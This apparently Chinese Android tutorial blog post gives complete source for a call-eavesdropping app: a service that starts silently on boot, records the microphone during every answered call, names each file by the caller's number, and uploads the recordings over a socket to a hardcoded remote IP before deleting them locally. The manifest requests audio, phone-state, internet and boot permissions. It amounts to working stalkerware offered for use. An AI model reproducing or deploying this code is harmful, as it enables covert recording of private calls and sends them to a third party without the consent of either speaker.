PhoneListenService.java

package cn.itcast.phone;import java.io.File;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.Socket;import cn.itcast.utils.StreamTool;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneListenService extends Service {private static final String TAG = "PhoneListenService";@Overridepublic void onCreate() {TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);Log.i(TAG, "service created");super.onCreate();}@Overridepublic void onDestroy() {//清空缓存目录下的所有文件File[] files = getCacheDir().listFiles();if(files!=null){for(File f: files){f.delete();}}Log.i(TAG, "service destroy");super.onDestroy();}private class TelListener extends PhoneStateListener{private MediaRecorder recorder;private String mobile;private File audioFile;private boolean record;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state){case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */if(record){recorder.stop();//停止刻录recorder.release();record = false;new Thread(new UploadTask()).start();Log.i(TAG, "start upload file");}break;case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式  audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare();//预期准备 recorder.start();   //开始刻录 record = true; break;case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */Log.i(TAG, "incomingNumber:"+ incomingNumber);mobile = incomingNumber;break;default:break;}} catch (Exception e) {Log.e(TAG, e.toString());}super.onCallStateChanged(state, incomingNumber);}private final class UploadTask implements Runnable{@Overridepublic void run() {try {Socket socket = new Socket("220.113.15.71", 7878);            OutputStream outStream = socket.getOutputStream();            String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";            outStream.write(head.getBytes());                        PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());String response = StreamTool.readLine(inStream);            String[] items = response.split(";");String position = items[1].substring(items[1].indexOf("=")+1);RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");fileOutStream.seek(Integer.valueOf(position));byte[] buffer = new byte[1024];int len = -1;while( (len = fileOutStream.read(buffer)) != -1){outStream.write(buffer, 0, len);}fileOutStream.close();outStream.close();            inStream.close();            socket.close();            audioFile.delete();        } catch (Exception e) {                            Log.e(TAG, e.toString());        }}}}@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}}


BootBroadcastReceiver.java

package cn.itcast.phone;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent service = new Intent(context, PhoneListenService.class);context.startService(service);}}


AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="cn.itcast.phone"      android:versionCode="1"      android:versionName="1.0">    <application android:icon="@drawable/icon" android:label="@string/app_name"><service android:name=".PhoneListenService" /><receiver android:name=".BootBroadcastReceiver"><intent-filter>         <action android:name="android.intent.action.BOOT_COMPLETED"/>       </intent-filter></receiver>    </application>    <uses-sdk android:minSdkVersion="7" /><uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- 访问网络的权限 --><uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></manifest> 

项目源码下载: http://pan.baidu.com/share/link?shareid=272323&uk=1796216265

作者:jaycee110905 发表于2013-2-21 2:13:04 原文链接 阅读:61 评论:0 查看评论

更多相关文章

  1. android手机打电话代码分析
  2. 转:android 电话流程分析
  3. 电话接听并查看该人姓名
  4. android小程序 查询电话号码信息
  5. Android打电话&发短信
  6. [置顶] 我的Android进阶之旅------>Android电话窃听实例
  7. android 拨打电话

随机推荐

  1. android知识点:inputType常用取值
  2. Android系统自带样式(@android:style/)
  3. Android几个面试题的解答
  4. Android(安卓)基础入门
  5. Android(安卓)TextView的跑马灯效果以及T
  6. Android(安卓)text文字阴影设置
  7. Android窗口和视图
  8. Android的发展历史
  9. Android(安卓)Studio-解决Fetching andro
  10. Android(一)-Android简介